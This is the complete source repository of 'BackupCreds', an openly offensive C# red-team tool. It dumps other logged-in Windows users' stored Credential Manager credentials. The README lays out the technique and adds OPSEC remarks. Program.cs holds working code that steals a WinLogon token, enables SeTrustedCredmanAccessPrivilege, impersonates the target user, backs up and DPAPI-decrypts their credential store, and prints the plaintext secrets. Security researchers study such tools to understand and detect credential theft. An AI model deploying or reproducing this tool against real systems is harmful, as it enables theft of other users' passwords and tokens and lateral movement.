├── .gitignore ├── backupcreds ├── App.config ├── backupcreds.csproj.user ├── Properties │ └── AssemblyInfo.cs ├── BackupCreds.csproj ├── Interop.cs └── Program.cs ├── backupcreds.sln ├── LICENSE └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .vs/ 2 | bin/ 3 | obj/ 4 | packages/ -------------------------------------------------------------------------------- /backupcreds/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /backupcreds/backupcreds.csproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5140 5 | 6 | -------------------------------------------------------------------------------- /backupcreds.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.33927.289 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BackupCreds", "backupcreds\BackupCreds.csproj", "{7943C5FF-C219-4E0B-992E-0ECDEB2681F3}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {7943C5FF-C219-4E0B-992E-0ECDEB2681F3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {7943C5FF-C219-4E0B-992E-0ECDEB2681F3}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {7943C5FF-C219-4E0B-992E-0ECDEB2681F3}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {7943C5FF-C219-4E0B-992E-0ECDEB2681F3}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {5FD0E1F7-8C66-46FC-94BD-045116627889} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /backupcreds/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("BackupCreds")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("BackupCreds")] 12 | [assembly: AssemblyCopyright("Copyright © 2022")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("182120d0-109f-490c-965b-6fbe7147fdba")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] 36 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2023, Lefteris Panos 4 | 5 | Redistribution and use in source and binary forms, with or without 6 | modification, are permitted provided that the following conditions are met: 7 | 8 | 1. Redistributions of source code must retain the above copyright notice, this 9 | list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright notice, 12 | this list of conditions and the following disclaimer in the documentation 13 | and/or other materials provided with the distribution. 14 | 15 | 3. Neither the name of the copyright holder nor the names of its 16 | contributors may be used to endorse or promote products derived from 17 | this software without specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 29 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BackupCreds 2 | 3 | ``` 4 | ________________________________________________ 5 | | _____________________________ | 6 | | [][] _____________________________ [_][_][_] | 7 | | [][] [_][_][_] [_][_][_][_] [_][_] [_][_][_] | 8 | | Dump all the Creds! | 9 | | [][] [][][][][][][][][][][][][][_] [][][][] | 10 | | [][] [_][][][][][][][][][][][][][] [][][][] | 11 | | [][] [__][][][][][][][][][][][][_] [][][][] | 12 | | [][] [___][][][][][][][][][][][__] [__][][] | 13 | | [_][______________][_] | 14 | | Lefteris (lefty) Panos | 15 | |______________________________________________| 16 | ``` 17 | ## Abusing SeTrustedCredmanAccessPrivilege to dump user creds 18 | The program provides the ability to dump the stored credentials a user might have in the Windows Credential Manager. 19 | 20 | It is a useful technique in cases where an elevated shell exists and multiple users are currently logged in. 21 | 22 | ## Steps 23 | 24 | 1) Finds the right WinLogon process of the user we want to dump the creds 25 | 2) Opens the WinLogon process with PROCESS_QUERY_LIMITED_INFORMATION access 26 | 3) Duplicates token with TOKEN_DUPLICATE access 27 | 4) Turns token to impersonation token 28 | 5) Enables SeTrustedCredmanAccessPrivilege permission 29 | 6) Opens the target process of the user 30 | 7) Steals and impersonates target user 31 | 8) Calls CredBackupCredentials while impersonating the WinLogon token passing a path to write to and a NULL password to disable the user encryption 32 | 9) While still impersonating opens the file and decrypts it using the CryptUnprotectData API 33 | 10) Deletes the file 34 | 35 | ## Usage 36 | backupcreds ```[PID of target user]``` ```[path to save file]``` 37 | 38 | Must be run from an elevated context. 39 | 40 | ## OPSEC 41 | Currently writes to disk to an operator provided path. Will delete the path once done. 42 | Accesses WinLogon. 43 | 44 | ## Credits 45 | * Based on https://www.tiraniddo.dev/2021/05/dumping-stored-credentials-with.html 46 | * Uses parts of SharpDPAPI (https://github.com/GhostPack/SharpDPAPI/) 47 | * Shouts to @eksperience for helping out with the parsing and Nettitute RT 48 | -------------------------------------------------------------------------------- /backupcreds/BackupCreds.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {7943C5FF-C219-4E0B-992E-0ECDEB2681F3} 8 | Exe 9 | BackupCreds 10 | BackupCreds 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | none 24 | 4 25 | 26 | 27 | AnyCPU 28 | none 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /backupcreds/Interop.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace BackupCreds 5 | { 6 | internal static class Interop 7 | { 8 | public const uint STANDARD_RIGHTS_REQUIRED = 0x000F0000; 9 | public const uint TOKEN_ASSIGN_PRIMARY = 0x0001; 10 | public const uint TOKEN_DUPLICATE = 0x0002; 11 | public const uint TOKEN_IMPERSONATE = 0x0004; 12 | public const uint TOKEN_QUERY = 0x0008; 13 | public const uint TOKEN_QUERY_SOURCE = 0x0010; 14 | public const uint TOKEN_ADJUST_PRIVILEGES = 0x0020; 15 | public const uint TOKEN_ADJUST_GROUPS = 0x0040; 16 | public const uint TOKEN_ADJUST_DEFAULT = 0x0080; 17 | public const uint TOKEN_ADJUST_SESSIONID = 0x0100; 18 | public static uint TOKEN_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | 19 | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | 20 | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | 21 | TOKEN_ADJUST_SESSIONID; 22 | //internal static uint SeTrustedCredManAccessPrivilege = 0x0031; 23 | internal const uint SePrivilegeEnabled = 0x00000002; 24 | 25 | [StructLayout(LayoutKind.Sequential)] 26 | public struct TokenPrivileges 27 | { 28 | public uint PrivilegeCount; 29 | public LUID Luid; 30 | public uint Attributes; 31 | } 32 | [StructLayout(LayoutKind.Sequential)] 33 | public struct SECURITY_ATTRIBUTES 34 | { 35 | public int nLength; 36 | public IntPtr lpSecurityDescriptor; 37 | public int bInheritHandle; 38 | } 39 | public enum TOKEN_TYPE 40 | { 41 | TokenPrimary = 1, 42 | TokenImpersonation 43 | } 44 | 45 | public enum SECURITY_IMPERSONATION_LEVEL 46 | { 47 | SecurityAnonymous = 0, 48 | SecurityIdentification = 1, 49 | SecurityImpersonation = 2, 50 | SecurityDelegation = 3 51 | } 52 | 53 | public enum ProcessAccessFlags : uint 54 | { 55 | PROCESS_ALL_ACCESS = 0x1f0fff, 56 | PROCESS_TERMINATE = 0x1, 57 | PROCESS_CREATE_THREAD = 0x2, 58 | PROCESS_VM_OPERATION = 0x8, 59 | PROCESS_VM_READ = 0x10, 60 | PROCESS_VM_WRITE = 0x20, 61 | PROCESS_DUP_HANDLE = 0x40, 62 | PROCESS_SET_INFORMATION = 0x200, 63 | PROCESS_SET_QUOTA = 0x100, 64 | PROCESS_QUERY_INFORMATION = 0x400, 65 | PROCESS_QUERY_LIMITED_INFORMATION = 0x1000, 66 | SYNCHRONIZE = 0x100000, 67 | PROCESS_CREATE_PROCESS = 0x80, 68 | PROCESS_SUSPEND_RESUME = 0x800 69 | } 70 | 71 | [Flags] 72 | public enum IsTextUnicodeFlags 73 | { 74 | IS_TEXT_UNICODE_ASCII16 = 0x0001, 75 | IS_TEXT_UNICODE_REVERSE_ASCII16 = 0x0010, 76 | 77 | IS_TEXT_UNICODE_STATISTICS = 0x0002, 78 | IS_TEXT_UNICODE_REVERSE_STATISTICS = 0x0020, 79 | 80 | IS_TEXT_UNICODE_CONTROLS = 0x0004, 81 | IS_TEXT_UNICODE_REVERSE_CONTROLS = 0x0040, 82 | 83 | IS_TEXT_UNICODE_SIGNATURE = 0x0008, 84 | IS_TEXT_UNICODE_REVERSE_SIGNATURE = 0x0080, 85 | 86 | IS_TEXT_UNICODE_ILLEGAL_CHARS = 0x0100, 87 | IS_TEXT_UNICODE_ODD_LENGTH = 0x0200, 88 | IS_TEXT_UNICODE_DBCS_LEADBYTE = 0x0400, 89 | IS_TEXT_UNICODE_NULL_BYTES = 0x1000, 90 | 91 | IS_TEXT_UNICODE_UNICODE_MASK = 0x000F, 92 | IS_TEXT_UNICODE_REVERSE_MASK = 0x00F0, 93 | IS_TEXT_UNICODE_NOT_UNICODE_MASK = 0x0F00, 94 | IS_TEXT_UNICODE_NOT_ASCII_MASK = 0xF000 95 | } 96 | public struct LUID 97 | { 98 | public uint LowPart; 99 | public int HighPart; 100 | } 101 | 102 | [DllImport("advapi32.dll")] 103 | public static extern bool LookupPrivilegeValue(string systemName, string privilegeName, out LUID luid); 104 | 105 | [DllImport("advapi32.dll", SetLastError = true)] 106 | [return: MarshalAs(UnmanagedType.Bool)] 107 | public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, [MarshalAs(UnmanagedType.Bool)] bool DisableAllPrivileges, ref TokenPrivileges NewState, int len, IntPtr prev, IntPtr relen); 108 | 109 | [DllImport("advapi32.dll", SetLastError = true)] 110 | [return: MarshalAs(UnmanagedType.Bool)] 111 | public static extern bool OpenProcessToken(IntPtr processHandle, uint desiredAccess, out IntPtr tokenHandle); 112 | 113 | [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] 114 | public static extern bool DuplicateTokenEx( 115 | IntPtr hExistingToken, 116 | uint dwDesiredAccess, 117 | ref SECURITY_ATTRIBUTES lpTokenAttributes, 118 | SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, 119 | TOKEN_TYPE TokenType, 120 | out IntPtr phNewToken); 121 | 122 | [DllImport("advapi32.dll", SetLastError = true)] 123 | public static extern bool ImpersonateLoggedOnUser(IntPtr hToken); 124 | 125 | [return: MarshalAs(UnmanagedType.Bool)] 126 | [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 127 | public static extern bool CredBackupCredentials(IntPtr Token,string FilePath, IntPtr Key, int KeySize, int KeyEncoded); 128 | 129 | [DllImport("advapi32.dll", SetLastError = true)] 130 | public static extern bool RevertToSelf(); 131 | 132 | [DllImport("advapi32.dll", SetLastError = false)] 133 | public static extern bool IsTextUnicode( 134 | byte[] buf, 135 | int len, 136 | ref IsTextUnicodeFlags opt 137 | ); 138 | 139 | 140 | [DllImport("kernel32.dll")] 141 | public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId); 142 | [DllImport("kernel32.dll", SetLastError = true)] 143 | public static extern bool CloseHandle(IntPtr hHandle); 144 | 145 | [DllImport("kernel32.dll", SetLastError = true)] 146 | public static extern IntPtr GetCurrentProcess(); 147 | 148 | } 149 | } 150 | -------------------------------------------------------------------------------- /backupcreds/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.IO; 5 | using System.Runtime.InteropServices; 6 | using System.Security.Cryptography; 7 | using System.Security.Principal; 8 | using System.Text; 9 | using Microsoft.Win32.SafeHandles; 10 | using static BackupCreds.Interop; 11 | 12 | namespace BackupCreds 13 | { 14 | public static class Program 15 | { 16 | private static List> Split(byte[] arr) 17 | { 18 | var result = new List>(); 19 | var offset = 0; 20 | var blobsize = 0; 21 | try 22 | { 23 | do 24 | { 25 | offset += blobsize; 26 | var delimeter = BitConverter.ToInt32(arr, offset); 27 | if (delimeter != 48) 28 | { 29 | offset += 1; 30 | } 31 | blobsize = BitConverter.ToInt32(arr, offset + 4); 32 | result.Add(new ArraySegment(arr, offset, blobsize)); 33 | } while (offset + blobsize < arr.Length); 34 | } 35 | catch (Exception ex) 36 | { 37 | Console.WriteLine($"[!] Exception happened in parsing of blob. Please report it! Exception was {ex}\n"); 38 | Console.WriteLine("[!] Returning partial results ***********"); 39 | return result; 40 | } 41 | 42 | return result; 43 | } 44 | 45 | public static bool EnableDebugPrivilege() 46 | { 47 | var hproc = GetCurrentProcess(); 48 | if (!OpenProcessToken(hproc, 0x0020 | 0x0008, out var htok)) 49 | { 50 | Console.WriteLine("[*] OpenProcessToken failed trying to enable SeDebugPrivilege"); 51 | return false; 52 | } 53 | TokenPrivileges tkpPrivileges; 54 | tkpPrivileges.PrivilegeCount = 1; 55 | tkpPrivileges.Attributes = SePrivilegeEnabled; 56 | LookupPrivilegeValue(null, "SeDebugPrivilege", out tkpPrivileges.Luid); 57 | AdjustTokenPrivileges(htok, false, ref tkpPrivileges, 0, IntPtr.Zero, IntPtr.Zero); 58 | Console.WriteLine("[*] SeDebugPrivilege enabled"); 59 | return true; 60 | } 61 | 62 | public static bool IsUnicode(byte[] bytes) 63 | { 64 | // helper that users the IsTextUnicode() API call to determine if a byte array is likely unicode text 65 | var flags = IsTextUnicodeFlags.IS_TEXT_UNICODE_STATISTICS; 66 | return IsTextUnicode(bytes, bytes.Length, ref flags); 67 | } 68 | 69 | public static void ParseDecCredBlob(byte[] decBlobBytes,int offset) 70 | { 71 | // code taken from https://github.com/GhostPack/SharpDPAPI/blob/master/SharpDPAPI/lib/Dpapi.cs 72 | try 73 | { 74 | //var offset = 0; 75 | var credFlags = BitConverter.ToUInt32(decBlobBytes, offset); 76 | offset += 4; 77 | var credSize = BitConverter.ToUInt32(decBlobBytes, offset); 78 | offset += 4; 79 | var credUnk0 = BitConverter.ToUInt32(decBlobBytes, offset); 80 | offset += 4; 81 | var type = BitConverter.ToUInt32(decBlobBytes, offset); 82 | offset += 4; 83 | var flags = BitConverter.ToUInt32(decBlobBytes, offset); 84 | offset += 4; 85 | 86 | var lastWritten = BitConverter.ToInt64(decBlobBytes, offset); 87 | offset += 8; 88 | var lastWrittenTime = new DateTime(); 89 | var unkFlagsOrSize = BitConverter.ToUInt32(decBlobBytes, offset); 90 | offset += 4; 91 | var persist = BitConverter.ToUInt32(decBlobBytes, offset); 92 | offset += 4; 93 | var attributeCount = BitConverter.ToUInt32(decBlobBytes, offset); 94 | offset += 4; 95 | var unk0 = BitConverter.ToUInt32(decBlobBytes, offset); 96 | offset += 4; 97 | var unk1 = BitConverter.ToUInt32(decBlobBytes, offset); 98 | offset += 4; 99 | 100 | var targetNameLen = BitConverter.ToInt32(decBlobBytes, offset); 101 | offset += 4; 102 | var targetName = Encoding.Unicode.GetString(decBlobBytes, offset, targetNameLen); 103 | offset += targetNameLen; 104 | Console.WriteLine($" TargetName : {targetName.Trim()}"); 105 | 106 | var targetAliasLen = BitConverter.ToInt32(decBlobBytes, offset); 107 | offset += 4; 108 | var targetAlias = Encoding.Unicode.GetString(decBlobBytes, offset, targetAliasLen); 109 | offset += targetAliasLen; 110 | Console.WriteLine($" TargetAlias : {targetAlias.Trim()}"); 111 | 112 | var commentLen = BitConverter.ToInt32(decBlobBytes, offset); 113 | offset += 4; 114 | var comment = Encoding.Unicode.GetString(decBlobBytes, offset, commentLen); 115 | offset += commentLen; 116 | Console.WriteLine($" Comment : {comment.Trim()}"); 117 | 118 | var unkDataLen = BitConverter.ToInt32(decBlobBytes, offset); 119 | offset += 4; 120 | var unkData = Encoding.Unicode.GetString(decBlobBytes, offset, unkDataLen); 121 | offset += unkDataLen; 122 | 123 | var userNameLen = BitConverter.ToInt32(decBlobBytes, offset); 124 | offset += 4; 125 | var userName = Encoding.Unicode.GetString(decBlobBytes, offset, userNameLen); 126 | offset += userNameLen; 127 | Console.WriteLine($" UserName : {userName.Trim()}"); 128 | 129 | var credBlobLen = BitConverter.ToInt32(decBlobBytes, offset); 130 | offset += 4; 131 | var credBlobBytes = new byte[credBlobLen]; 132 | Array.Copy(decBlobBytes, offset, credBlobBytes, 0, credBlobLen); 133 | offset += credBlobLen; 134 | if (IsUnicode(credBlobBytes)) 135 | { 136 | var credBlob = Encoding.Unicode.GetString(credBlobBytes); 137 | Console.WriteLine($" Credential : {credBlob.Trim()}"); 138 | } 139 | else 140 | { 141 | var credBlobByteString = BitConverter.ToString(credBlobBytes).Replace("-", " "); 142 | Console.WriteLine($" Credential : {credBlobByteString.Trim()}"); 143 | } 144 | } 145 | catch (Exception e) 146 | { 147 | Console.WriteLine(e); 148 | throw; 149 | } 150 | } 151 | static void Main(string[] args) 152 | { 153 | if (args.Length != 2) 154 | { 155 | Help(); 156 | } 157 | else 158 | { 159 | try 160 | { 161 | DoDump(int.Parse(args[0]), args[1]); 162 | } 163 | catch (Exception e) 164 | { 165 | Console.WriteLine($"[!] Something went terribly wrong: {e}"); 166 | } 167 | } 168 | } 169 | private static void Help() 170 | { 171 | Console.WriteLine("BackupCreds [PID of target user] [path to save file]"); 172 | } 173 | private static void DoDump(int targetProcess, string path) 174 | { 175 | try 176 | { 177 | EnableDebugPrivilege(); 178 | var processesByName = Process.GetProcessesByName("winlogon"); 179 | 180 | //Get the target process the user provided 181 | var userProcess = Process.GetProcessById(targetProcess); 182 | Console.WriteLine($"[*] Targeting process with PID {userProcess.Id} which runs under session: {userProcess.SessionId}"); 183 | 184 | //we need to find the right winlogon if multiple exist 185 | Process winlogon = null; 186 | foreach (var p in processesByName) 187 | { 188 | if (p.SessionId != userProcess.SessionId) continue; 189 | winlogon = p; 190 | Console.WriteLine($"[*] Found Winlogon process with PID {winlogon.Id} matching session id: {p.SessionId}"); 191 | } 192 | 193 | if (winlogon != null) 194 | { 195 | Console.WriteLine($"[*] Opening Winlogon with PID {winlogon.Id}"); 196 | var hProcess = OpenProcess(ProcessAccessFlags.PROCESS_QUERY_LIMITED_INFORMATION, false, winlogon.Id); 197 | if (hProcess != IntPtr.Zero) 198 | { 199 | Console.WriteLine($"[*] Cloning token of Winlogon with PID {winlogon.Id}"); 200 | if (OpenProcessToken(hProcess, 0x0002, out var winLogonToken))// TOKEN_DUPLICATE = 0x0002 201 | { 202 | // 2 == SecurityImpersonation 203 | var sa = new SECURITY_ATTRIBUTES(); 204 | if (DuplicateTokenEx(winLogonToken, (uint)TokenAccessLevels.AllAccess, ref sa, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TOKEN_TYPE.TokenPrimary, out var hDupToken)) 205 | { 206 | if (!LookupPrivilegeValue(null, "SeTrustedCredManAccessPrivilege", out var luidSeTrustedCredManAccessPrivilege)) 207 | { 208 | Console.WriteLine($"[!] LookupPrivilegeValue() failed, error = {Marshal.GetLastWin32Error()} SeTrustedCredManAccessPrivilege is not available"); 209 | CloseHandle(hDupToken); 210 | CloseHandle(hProcess); 211 | return; 212 | } 213 | 214 | TokenPrivileges tkpPrivileges; 215 | tkpPrivileges.PrivilegeCount = 1; 216 | tkpPrivileges.Luid = luidSeTrustedCredManAccessPrivilege; 217 | tkpPrivileges.Attributes = SePrivilegeEnabled; 218 | var buffLen = (uint)Marshal.SizeOf(tkpPrivileges); 219 | if (!AdjustTokenPrivileges(hDupToken, false, ref tkpPrivileges, (int)buffLen, IntPtr.Zero, IntPtr.Zero)) 220 | { 221 | Console.WriteLine($"[!] AdjustTokenPrivileges() failed, error = {Marshal.GetLastWin32Error()} SeSeTrustedCredManAccessPrivilege is not available"); 222 | CloseHandle(hDupToken); 223 | CloseHandle(hProcess); 224 | return; 225 | } 226 | 227 | var procHandle = new SafeWaitHandle(userProcess.Handle, true); 228 | if (!OpenProcessToken(procHandle.DangerousGetHandle(), (uint) TokenAccessLevels.MaximumAllowed, out var userToken)) 229 | { 230 | Console.WriteLine($"[!] OpenProcessToken of user process with PID {userProcess.Id} failed {Marshal.GetLastWin32Error()}"); 231 | CloseHandle(hDupToken); 232 | CloseHandle(hProcess); 233 | return; 234 | } 235 | 236 | if (!ImpersonateLoggedOnUser(hDupToken)) 237 | { 238 | Console.WriteLine($"[!] ImpersonateLoggedOnUser() failed, error = {Marshal.GetLastWin32Error()}"); 239 | CloseHandle(hDupToken); 240 | CloseHandle(hProcess); 241 | CloseHandle(userToken); 242 | return; 243 | } 244 | 245 | if (!CredBackupCredentials(userToken, path, IntPtr.Zero, 0, 0)) 246 | { 247 | Console.WriteLine("[!] CredBackupCredentials() returned false"); 248 | return; 249 | } 250 | 251 | byte[] decBytes; 252 | if (File.Exists(path)) 253 | { 254 | try 255 | { 256 | decBytes = ProtectedData.Unprotect(File.ReadAllBytes(path), null, DataProtectionScope.CurrentUser); 257 | Console.WriteLine("[*] Incoming creds!!!"); 258 | Console.WriteLine(""); 259 | } 260 | catch (CryptographicException e) 261 | { 262 | Console.WriteLine($"[!] ProtectedData Unprotect failed. {e}"); 263 | return; 264 | } 265 | } 266 | else 267 | { 268 | Console.WriteLine("[!] No file has been written to the provided location"); 269 | return; 270 | } 271 | 272 | if (decBytes.Length != 0) 273 | { 274 | var newArray = new byte[decBytes.Length - 12]; 275 | Buffer.BlockCopy(decBytes, 12, newArray, 0, newArray.Length); 276 | 277 | foreach (var element in Split(newArray)) 278 | { 279 | ParseDecCredBlob(element.Array, element.Offset); 280 | } 281 | } 282 | Console.WriteLine(""); 283 | Console.WriteLine($"[*] Deleting file at {path}"); 284 | File.Delete(path); 285 | Console.WriteLine("[*] Enjoy your creds! Reverting to self"); 286 | RevertToSelf(); 287 | CloseHandle(hDupToken); 288 | CloseHandle(userToken); 289 | CloseHandle(hProcess); 290 | CloseHandle(winLogonToken); 291 | CloseHandle(hDupToken); 292 | 293 | } 294 | else 295 | { 296 | Console.WriteLine("[!] Winlogon DuplicateToken failed!"); 297 | } 298 | } 299 | else 300 | { 301 | Console.WriteLine("[!] Winlogon OpenProcessToken failed!"); 302 | } 303 | } 304 | else 305 | { 306 | Console.WriteLine($"[!] OpenProcess failed on process with PID {winlogon.Id}"); 307 | } 308 | } 309 | else 310 | { 311 | Console.WriteLine("[!] Unable to find target Winlogon process"); 312 | } 313 | } 314 | catch (Exception e) 315 | { 316 | Console.WriteLine($"[!] Exception happened: {e}"); 317 | } 318 | } 319 | } 320 | } 321 | --------------------------------------------------------------------------------